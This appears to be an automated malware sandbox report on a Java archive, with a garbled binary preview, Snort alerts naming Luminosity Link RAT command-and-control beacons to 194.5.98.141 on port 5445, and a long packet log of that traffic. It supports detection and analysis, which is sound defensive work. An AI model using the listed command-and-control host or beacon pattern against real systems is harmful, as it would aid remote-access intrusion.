File Content Preview:	PK..........2U................de.class.{.x[....\..V.dt..8.I !.cy......E.d....d.Z.-K.%y+...k..]^..emKK[...G..........}...i!..3s..kI.......s..9s.9..._z....B...F$$....N.f.5.@,\.....)..0.F.c@s...v`d:.\#.O.Db.+....JA$.`z&.Z.I&.`.%...l\|.70...S.L?.a..:.W.#D.P8

File Icon


Icon Hash:	d28c8e8ea2868ad6

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
194.5.98.141192.168.2.35445497142811175 09/20/22-03:43:09.235557	TCP	2811175	ETPRO TROJAN Luminosity Link RAT CnC Beacon Inbound	5445	49714	194.5.98.141	192.168.2.3
192.168.2.3194.5.98.1414971654452811176 09/20/22-03:43:09.236098	TCP	2811176	ETPRO TROJAN Luminosity Link RAT CnC Beacon Outbound	49716	5445	192.168.2.3	194.5.98.141
192.168.2.3194.5.98.1414971454452811176 09/20/22-03:43:09.236313	TCP	2811176	ETPRO TROJAN Luminosity Link RAT CnC Beacon Outbound	49714	5445	192.168.2.3	194.5.98.141
194.5.98.141192.168.2.35445497162811175 09/20/22-03:43:09.235529	TCP	2811175	ETPRO TROJAN Luminosity Link RAT CnC Beacon Inbound	5445	49716	194.5.98.141	192.168.2.3
192.168.2.3194.5.98.1414971054452811176 09/20/22-03:43:09.235958	TCP	2811176	ETPRO TROJAN Luminosity Link RAT CnC Beacon Outbound	49710	5445	192.168.2.3	194.5.98.141
194.5.98.141192.168.2.35445497102811175 09/20/22-03:43:09.235489	TCP	2811175	ETPRO TROJAN Luminosity Link RAT CnC Beacon Inbound	5445	49710	194.5.98.141	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 20, 2022 03:51:00.296781063 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:00.412610054 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:00.412909031 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:00.494419098 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:00.528996944 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:00.529242992 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:00.610559940 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:00.610724926 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:00.726385117 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:00.726972103 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:00.982866049 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:01.036164045 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.096894979 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.097024918 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.117713928 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.178352118 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.221637011 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.221679926 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.221716881 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.221755028 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.221762896 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.221790075 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.221838951 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.221851110 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.221901894 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.221903086 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.221940041 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.221976042 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.222011089 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.222033024 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.222234964 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.226393938 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:01.282613993 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.282659054 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.282699108 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.282737970 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.282766104 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.282774925 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.282799006 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.282814026 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.282871008 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.282871008 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.282932043 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.282974958 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.282991886 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.283011913 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.283051014 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.283066988 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.283091068 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.283128977 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.283185005 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.283272982 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.283313036 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.283382893 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.283423901 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.283483982 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.283497095 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.283497095 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.283552885 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.283592939 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.283611059 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.283696890 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.343816042 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.343869925 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.343909979 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.343949080 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.343977928 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.343988895 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.344022036 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.344027042 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.344065905 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.344079018 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.344105005 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.344142914 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.344156981 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.344183922 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.344223976 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.344244003 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.344263077 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.344302893 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:01.344357014 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:01.482815027 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:01.605417967 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:01.606477022 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:01.888922930 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:06.668282032 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:06.710994959 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:07.318501949 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:07.486917973 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:11.517782927 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:11.633441925 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:11.633606911 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:11.677903891 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:11.710622072 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:11.713541985 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:11.749695063 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:11.749845028 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:11.829025984 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:11.889019012 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:11.982748032 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:11.982872009 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:12.149224043 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.185800076 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:12.212414980 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.212536097 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.229080915 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.292223930 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.292723894 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.292798996 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.292836905 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.292876005 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.292886972 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.292916059 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.292943001 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.292953968 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.293020010 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.293025017 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.293059111 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.293098927 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.293138027 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.293138981 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.293205976 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.297796011 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:12.356832981 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.356906891 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.356936932 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.356976986 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.357016087 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.357095957 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.357136011 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.357178926 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.357188940 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.357218027 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.357228041 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.357234955 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.357239962 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.357256889 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.357295990 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.357310057 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.357336044 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.357373953 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.357389927 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.357413054 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.357451916 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.357462883 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.357489109 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.357528925 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.357538939 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.357568026 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.357606888 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.357629061 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.357646942 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.357701063 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.420770884 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.420828104 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.420869112 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.420883894 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.420907021 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.420947075 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.420954943 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.420984983 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.421021938 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.421032906 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.421060085 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.421107054 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.421137094 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.421180010 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.421219110 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.421225071 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.421257973 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.421297073 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:12.421305895 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:12.482830048 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:12.497085094 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:16.750943899 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:16.750991106 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:16.751594067 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:16.751820087 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:16.982907057 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:16.982952118 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:19.742722988 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:19.859158993 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:19.859375954 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:19.924051046 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:19.975609064 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:19.975769997 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:20.039696932 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:20.170309067 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:20.263998985 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:20.264120102 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:20.407413960 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.468522072 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.468652010 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.480207920 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.541163921 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.541675091 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.541718006 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.541755915 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.541794062 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.541831970 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.541874886 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.541910887 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.541918039 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.541949034 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.541949034 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.541955948 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.541986942 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.542012930 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.542023897 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.542077065 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.576448917 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:20.576518059 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:20.602958918 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603008986 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603046894 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603087902 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603104115 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.603126049 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603141069 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.603163958 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603203058 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603218079 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.603239059 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603276968 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603291035 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.603316069 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603367090 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.603379965 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603420973 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603460073 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603475094 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.603497028 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603537083 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603559017 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.603575945 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603611946 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603626966 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.603651047 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603698015 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603703022 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.603734970 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.603785038 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.664664030 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.664700031 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.664729118 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.664818048 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.664841890 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.664868116 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.664880991 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.664967060 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.664973021 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.664985895 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.665010929 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.665035009 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.665060043 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.665085077 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.665118933 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.665132999 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.665143967 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.665169001 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:20.665196896 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.717274904 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:20.764049053 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:21.773277998 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:21.773516893 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:21.773549080 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:21.773984909 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:21.774102926 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:21.774652958 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:21.982573032 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:21.983479977 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:22.076653957 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:26.772356033 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:26.772408009 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:26.772473097 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:26.773556948 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:26.773623943 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:26.774554968 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:26.982809067 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:26.982845068 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:27.076411009 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:31.255426884 CEST	80	49710	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:31.255542040 CEST	49710	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:31.790519953 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:31.790569067 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:31.790595055 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:31.791497946 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:31.791798115 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:31.792304039 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:31.982717037 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:31.982767105 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:32.076384068 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:36.819547892 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:36.819577932 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:36.820394039 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:36.820590973 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:36.821176052 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:36.821188927 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:36.985510111 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:36.985536098 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:37.079644918 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:41.815367937 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:41.815396070 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:41.815469027 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:41.820148945 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:41.823434114 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:41.859684944 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:41.872595072 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:41.982806921 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:41.982846022 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:42.076282978 CEST	5445	49715	194.5.98.141	192.168.2.4
